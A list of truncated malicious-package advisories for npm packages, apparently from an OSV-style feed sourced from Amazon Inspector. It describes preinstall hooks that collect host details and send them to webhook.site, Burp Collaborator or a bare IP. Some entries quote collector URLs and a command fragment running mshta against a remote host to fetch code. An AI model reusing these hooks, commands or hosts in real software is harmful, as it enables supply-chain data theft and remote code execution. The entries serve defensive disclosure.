MAL-2026-10734 Malicious code in infrastructure-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d64169ae87d8d9eaad199be028a70610f025f61e0c947838c05c24a1dd4d5578 package.json declares a preinstall lifecycle script that runs node -e to issue an HTTP GET to a Burp Collaborator subdomain at...

MAL-2026-10678 Malicious code in ls-env-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector db44619df34ccbffa5747f17c8135602583a781ec01f8d3c03e0f828157e944c Package declares a preinstall script node./index.js that fires automatically on npm install. The executed index.js issues an HTTP GET to a...

MAL-2026-10675 Malicious code in ac-raf-emitter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4a9d9e454c08fdafa531ee74a3bc52513d5bc39413810db4a6371494872984f8 package.json declares a preinstall lifecycle script that runs curl -X POST against a hardcoded webhook.site collector URL...

MAL-2026-10634 Malicious code in estore-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f5f2a664c7576b3cbf04696ddff717d8b3e9b835693035fa56a23035edef411 package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/d32804ac-1bbb-4100-ab60-95231dd3251c/, sending the...

Malicious code in @leviosa86com/leviosa86-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 96264a8719e17bd8ec21d47213fe31dec87445e01ff312a1e46af5819e028979 Package @leviosa86com/[email protected] ships src/poc/index.js which shells out via childprocess.exec to collect host identifiers hostname, pwd,...

MAL-2026-10625 Malicious code in @leviosa86com/leviosa86-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 96264a8719e17bd8ec21d47213fe31dec87445e01ff312a1e46af5819e028979 Package @leviosa86com/[email protected] ships src/poc/index.js which shells out via childprocess.exec to collect host identifiers hostname, pwd,...

MAL-2026-10620 Malicious code in ahooks-3.7.8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c6816bbe8dc3e7d033a03452f7c1e8f873b97c158165faa863694ee13eb6dd61 Package published as ahooks-3.7.8 at version 13.1.1 with empty author/description/license impersonates the legitimate ahooks React hooks library...

MAL-2026-10615 Malicious code in smb-common-uikit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66072ca2fc20c19a01d0a2b888d90632a7d9bfdc34a2d1a71b61ad06975eae5c package.json declares a preinstall hook that runs index.js. On npm install, index.js collects host reconnaissance from the installer os.hostname,...

Malicious code in eslint-angular-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9a6248527167bc121cdf2c1a874adbc9d433dbe4be2aed160e8abb3eb2ca63b package.json declares a preinstall lifecycle script that runs curl against the hardcoded bare IP http://109.71.252.153:8080/ at npm install time,...

MAL-2026-10444 Malicious code in markable-table (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fd358271f202636f12507f09da4e8f00c900ba46c9dca25a5a0526d35b75bf1d [email protected] declares scripts.preinstall = 'node index.d.js'. index.d.js base64-decodes an embedded payload and invokes it through an...

MAL-2026-10417 Malicious code in minigptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0 On npm install, the package's preinstall script preinstall.js invokes cmd /c mshta http://fixars.top/..., causing Windows mshta.exe to fetch and...

MAL-2026-10403 Malicious code in @iana-rzms/bff-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b7adbad0c719aec3345c5aa16b3435e8621f4a81b5a0e0cf0e0d979509e5d21f Package published to the public @iana-rzms scope as a dependency-confusion squat targeting an internal ICANN namespace. The preinstall lifecycle scri...

MAL-2026-10401 Malicious code in @espn-ping/react-dmed-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3bc0467ac62043cf22dd249a99ff1279646dc599702140998ff5b86c79645364 @espn-ping/[email protected] declares a preinstall lifecycle script node index.js /dev/null 2&1 that automatically executes on npm install...

MAL-2026-10208 Malicious code in @meziizana/frontend-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7d77255cb713e19b9560cc339e937518fdbfb49ab048d9d5a65ad81c1309a9a package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/f164a383-b9e7-4379-b18c-38bf41a3c152/ with query...

MAL-2026-10207 Malicious code in react-dom-v17 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55f6e35ab09a2fcd6521dac51aa4baa4cfa726958bc266a0d56fc14de240a29 Package name impersonates the widely-used react-dom package react-dom-v17. package.json declares preinstall: node index.js, which fires automatically...

Malicious code in library-explorer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 28b5db05b3bdfb9cc8b1af9759f05a3bc7a1b6a9c364b86831b93df78e9e2273 package.json declares preinstall: node index.js. On npm install, index.js collects installer host identity os.hostname, os.platform, os.arch,...

MAL-2026-10205 Malicious code in library-explorer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 28b5db05b3bdfb9cc8b1af9759f05a3bc7a1b6a9c364b86831b93df78e9e2273 package.json declares preinstall: node index.js. On npm install, index.js collects installer host identity os.hostname, os.platform, os.arch,...

Malicious code in api-changelly (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a94f4aa368f1838507a78dde78062b740a5853b516d9d32782d0264b539b724c The package declares preinstall: node index.js, which runs automatically on npm install. index.js collects installer identifiers os.hostname,...

MAL-2026-10204 Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...

Malicious code in google-caja-bower (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e34339f1be6afb8a41b6dbe2f7d7c480d5a438a67ff119b235d1d98ffa2b2e4a [email protected] declares scripts.preinstall = 'node index.js', so index.js runs automatically on npm install. index.js walks the...